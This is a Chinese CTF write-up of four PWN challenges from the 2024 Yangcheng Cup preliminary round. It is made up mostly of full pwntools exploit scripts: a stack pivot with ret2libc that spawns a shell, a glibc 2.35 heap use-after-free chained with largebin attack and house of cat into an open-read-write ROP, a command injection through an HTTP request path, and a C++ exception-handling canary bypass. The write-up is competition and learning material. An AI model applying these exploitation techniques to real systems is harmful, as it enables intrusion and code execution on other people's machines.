2024年“羊城杯”粤港澳大湾区网络安全大赛初赛PWN部分题目WriteUp【本科组】

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛PWN部分题目WriteUp【本科组】

2024-08-28·CompetitionsPwnWriteUpCompetitions

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛PWN部分WriteUp【本科组】

解题情况

Category题目名称
[Pwn]{.label .primary}[pstack]{.label .primary}
[Pwn]{.label .primary}[TravelGraph]{.label .primary}
[Pwn]{.label .primary}[httpd]{.label .primary}
[Pwn]{.label .primary}[logger]{.label .primary}

现在CTF大佬们都那么卷了吗:( 可惜鄙人太菜:( 离AK还剩一个ptrace注入:( 虽然但是我一直在尝试io_uring:( 当了io_uring的小丑:( 果然每次见到io_uring必破防:(

PWN

pstack

栈迁移+ret2libc

from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './pwn'
p=remote('139.155.126.78',33481)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)

#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')
buf =0x601000+0x800
lr=0x4006DB
gad1=0x4006C4
payload=b'a'*0x30+p64(buf+0x30)+p64(gad1)
p.sendafter("u grasp this little bit of overflow",payload)
pause()
pop_rdi=0x400773
puts=0x400520
payload=p64(buf+0x58)+p64(pop_rdi)+p64(0x600FC8)+p64(puts)+p64(gad1)
payload=payload.ljust(0x30,b'\x00')+p64(buf)+p64(lr)
# gdb.attach(p)
p.send(payload)
pause()
p.recv()
libc_base=u64(p.recv(6)+b'\x00\x00')-0x788f68880e50+0x788f68800000
system=libc_base+0x050D70
payload=p64(pop_rdi)+p64(0x601848)+p64(lr+1)+p64(system)+b'/bin/sh\x00'
p.sendline(payload.ljust(0x30)+p64(0x601820)+p64(lr))
p.interactive()

TravelGraph

2.35版本heap UAF,直接打largebin attack + house of cat一把梭。之后ROP打一下ORW就能拿到flag了。

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './pwn'
p=remote('139.155.126.78',36771)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)

#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')

# car/train/plane
# guangzhou/nanning/changsha/nanchang/fuzhou
trans=['guangzhou','nanning','changsha','nanchang','fuzhou','\x00\x00']
def add(size,from_d,to,far,con):
    p.sendlineafter(" Calculate the distance","1")
    if size==0x520:
        p.sendlineafter("What kind of transportation do you want? ","car")
    elif size==0x530:
        p.sendlineafter("What kind of transportation do you want? ","train")
    else :
        p.sendlineafter("What kind of transportation do you want? ","plane")
    p.sendlineafter("rom wher",trans[from_d])
    p.sendlineafter("To where?",trans[to])
    p.sendlineafter("How far?",str(far))
    p.sendafter("Note:",con)
def dele(from_d,to):
    p.sendlineafter(" Calculate the distance","2")
    p.sendlineafter("From where?",trans[from_d])
    p.sendlineafter('To where?',trans[to])
def show(from_d,to):
    p.sendlineafter(" Calculate the distance","3")
    p.sendlineafter("From where?",trans[from_d])
    p.sendlineafter('To where?',trans[to])
def edit(from_d,to,num,con):
    p.sendlineafter(" Calculate the distance","4")
    p.sendlineafter("From where?",trans[from_d])
    p.sendlineafter('To where?',trans[to])
    p.sendlineafter("Which one do you want to change?",str(num))
    p.sendlineafter("How far?","0")
    p.sendafter("Note:",con)
def dijk(dist):
    p.sendlineafter(" Calculate the distance","5")
    p.sendlineafter("Where do you want to travel",trans[dist])
def hack():
    p.sendlineafter(" Calculate the distance","6")

add(0x520,0,1,1000,b'./flag\x00\x00'*0x10)
add(0x540,1,2,1000,b'./flag\x00\x00'*0x10)
add(0x520,0,1,1000,b'./flag\x00\x00'*0x10)
add(0x520,2,3,1000,b'./flag\x00\x00'*0x10)

# dele(0,1)
# show(0,0)



dijk(3)

dele(0,1)

add(0x540,2,3,1000,b'a')

add(0x520,0,2,1000,b'a')
add(0x520,0,3,1000,b'a')
show(0,3)
p.recvuntil('Distance:1000')
p.recvuntil('Note:')
heap_base=u64(p.recv(6)+b'\x00\x00')-0x00005c8312455461+0x5c8312454000
print(hex(heap_base))
dele(1,2)
dele(0,3)
add(0x540,0,4,1000,b'a'*0x510)
show(0,4)
p.recvuntil(b'a'*0x510)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x0000774c6521ace0+0x774c65000000
print(hex(libc_base))
print(hex(heap_base))




libcbase=libc_base

fake_io=heap_base+0x0000625a85e98330-0x625a85e94000
IO_wfile_jumps=libcbase+0x2170C0

execve_addr=libcbase+0xeb080

setcontext_61=libcbase+0x539E0+61
# LOGTOOL['setcontext_61']=setcontext_61
pop_rdi=0x02a3e5+libc_base
pop_rsi=0x02be51+libc_base
pop_rdx2=libc_base+0x11f2e7 
ret=pop_rdi+1
buf=heap_base+0x5c8f6383c9e0-0x5c8f6383b000

open=0x1144E0+libc_base
read_a=0x1147D0+libc_base
puts=libc_base+0x80E50
payload=p64(pop_rdi)+p64(buf)+p64(pop_rsi)+p64(0)+p64(pop_rdx2)+p64(0)*2+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf-0x100)+p64(pop_rdx2)+p64(0x100)*2+p64(read_a)
payload+=p64(pop_rdi)+p64(buf-0x100)+p64(puts)

rop=payload

pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)],  # wide_data
0x88:p64(fake_io+0x1e8),

0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)],   #_mode
0xd8:[p64(IO_wfile_jumps+0x30)],    # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable


0x118:flat(
{
0x18:[p64(setcontext_61)]
},filler=b'\x00'
),

0x138:flat(
{
0x68:p64(fake_io+0x1e8),   
0x70:p64(0),               
0x88:p64(0),                

0xa0:p64(fake_io+0x1f8),  
0xa8:p64(ret)       
},filler=b'\x00'
),

0x1e8:flat(
{
0x00:p64(0)+p64(0),
0x10:rop

},filler=b'\x00'
)
},filler=b'\x00'
)
add(0x520,1,2,1000,b'a')
add(0x520,3,3,1000,b'a')
add(0x540,1,4,1000,b'a')
add(0x540,4,4,1000,b'a')
add(0x520,1,3,1000,b'a')
add(0x530,1,1,1000,pay[0x00:])
add(0x520,1,2,1000,b'a')
# 2 4 / 3 4
dele(1,4)
dele(3,3)
add(0x540,2,4,1000,b'a'*0x500+p64(0)+p64(0x531)+p64(0x400000001)+p64(0x300000100))
add(0x540,1,2,1000,b'a')
ioall=libc_base+0x021B680

edit(1,4,0,p64(0)+p64(0x521)+p64(0)*3+p64(ioall-0x20))
dele(1,3)
dele(1,1)
add(0x540,1,2,1000,b'a')
add(0x540,1,2,1000,b'a')

hack()

p.interactive()

httpd

奇葩WebPWN popen函数给了一次执行shell命令的机会,但是内容没法输出而且命令的字符被过滤了,所以先把flag文件cp到index.html里面,之后访问index.html就OK了。

EXP: 首先执行:

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './httpd_patched'
p=remote('139.155.126.78',31423)

method='get'

filename='/cp%20/flag%20./index.html'

# filename='/index.html'
# 
protocol='HTTP/1.0'
p.sendline(method+' '+filename+' '+protocol)
# pause()
p.sendline("Host: 139.155.126.78:32304")
# gdb.attach(p) 
p.sendline("Content-Length: 100")
p.interactive()

之后执行:

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './httpd_patched'
p=remote('139.155.126.78',31423)

method='get'

# filename='/cp%20/flag%20./index.html'

filename='/index.html'
# 
protocol='HTTP/1.0'
p.sendline(method+' '+filename+' '+protocol)
# pause()
p.sendline("Host: 139.155.126.78:32304")
# gdb.attach(p) 
p.sendline("Content-Length: 100")
p.interactive()

logger

利用cpp的异常处理机制绕过canary直接执行system(‘/bin/sh’)

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './pwn'
p=remote('139.155.126.78',35388)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)
# gdb.attach(p)
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')

def trace():
    p.sendlineafter("Your chocie:","1")
def warn(con):
    p.sendlineafter("Your chocie:","2")
    p.sendafter("Type your message here plz: ",con)
def exit():
    p.sendlineafter("Your chocie:","3")
# trace()
for i in range(9):
    trace()
    p.send(b"/bin/sh\x00"*2)
    p.sendlineafter("Do you need to check the records?",b'n')
    # pause()
warn(b'/bin/sh\x00'*14+p64(0x404218)+p64(0x401BC7))
p.interactive()